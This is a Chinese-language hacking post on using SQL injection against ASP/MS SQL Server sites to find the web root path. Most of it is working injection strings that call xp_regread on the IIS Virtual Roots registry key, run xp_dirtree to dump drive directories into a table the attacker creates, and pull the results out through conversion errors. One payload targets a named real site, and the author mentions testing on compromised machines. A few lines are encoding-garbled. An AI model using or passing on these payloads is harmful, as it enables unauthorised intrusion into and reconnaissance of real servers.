S Q L 注 入 路 径 问 题

本文作者:未知
下午没什么事情
看了看angel写一个路径的问章 找了肉鸡试了半天
费了牛劲了
我发现如果出现
Microsoft OLE DB Provider for SQL Server 错误 '80040e07'

将 varchar 值 '#SharedObjects' 转换为数据类型为 int 的列时发生语法错误。

/html/showdetail_new.asp,行 9
这样他的方法就不能用了
#必须给屏蔽掉
要饭的得到路径的方法 偶也试了更是费劲啊
看看其中一句 我晕~
<IFRAME marginWidth=0 marginHeight=0
src="http://music.ty.sx.cn/html/showdetail_new.asp?id=214302; declare @result varchar(255) exec master.dbo.xp_regread '   HKEY_LOCAL_MACHINE','   SYSTEM/ControlSet001/Services/W3svc/Parameters/virtula Roots', '/', @result output insert into cyfd (gyfd) values(@result);--"
frameBorder=0 width=500 scrolling=noshade
height=400></IFRAME>
我要晕了
angel方法手工猜解管理后台路径的成功机率很低,要用XP_DIRTREE来得到我们想要的信息,下面的方法或许要简单一点!第
一次公布出来,或许很多朋友在用,不过绝对非常好!我们把路径写到表里去!
语句:http://http://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(100), id int)--
返回:正常的信息!说明建表成功!继续!
语句:http://http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'c:/'--
返回:正常信息。说明写入C盘的所有目录成功了!爽!接下来就是取表了!暴它出来。
语句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs)-
返回:Microsoft OLE DB Provider for SQL Server 错误 '80040e07'
将 varchar 值 '@Inetpub' 转换为数据类型为 int 的列时发生语法错误。
再依次爆出表中的目录名称!
语句:http://http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where paths not in('@Inetpub'))--
最后用同样的方法测试得到网页目录放在E:/WEB下
臭要饭写的!
1.怎么拿到Web绝对路径?
呵呵?这个问题,花了我很长时间去研究。大家都知道MS的东西很多都放在注册表中的,Web位置我们可以在注册?br />碇械玫剑恢萌缦拢?br />HKEY_LOCAL_MACHINE/SYSTEM/ControlSet001/Services/W3SVC/Parameters/Virtual Roots
利用扩展存储过程xp_regread我们可以取得它的值.
EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE',
'SYSTEM/ControlSet001/Services/W3SVC/Parameters/Virtual Roots', '/'
这样,就取出来了,但问题又来了,取是取出来了,我们怎么在IE中返回它的值呢?我的方法是:先创建一个临时
表,表中加一字段,类型为:char 255。呵呵,用它来保存Web绝对路径的值。表建好后,我们就用读取注册表的方法,把返回的值保存在一变量中。
然后向新建的表中加入记录(即变量的值)。这样,路径就写入到了表中。提交:
DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE',
'SYSTEM/ControlSet001/Services/W3SVC/Parameters/Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values( @result );--
然后,我们再提交: 1=(select count(*) from 临时表 where 临时字段名>1)
这样IE报错,就把刚才插进去的Web路径的值报出来了。我也试过直接用变量来报错,让IE返回变量的值,结果是失
败的,所以就想到了建临时表加数据进去的方法!最后我们再删除刚建的临时表。
不要破坏国内主机~lis0在此提醒
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章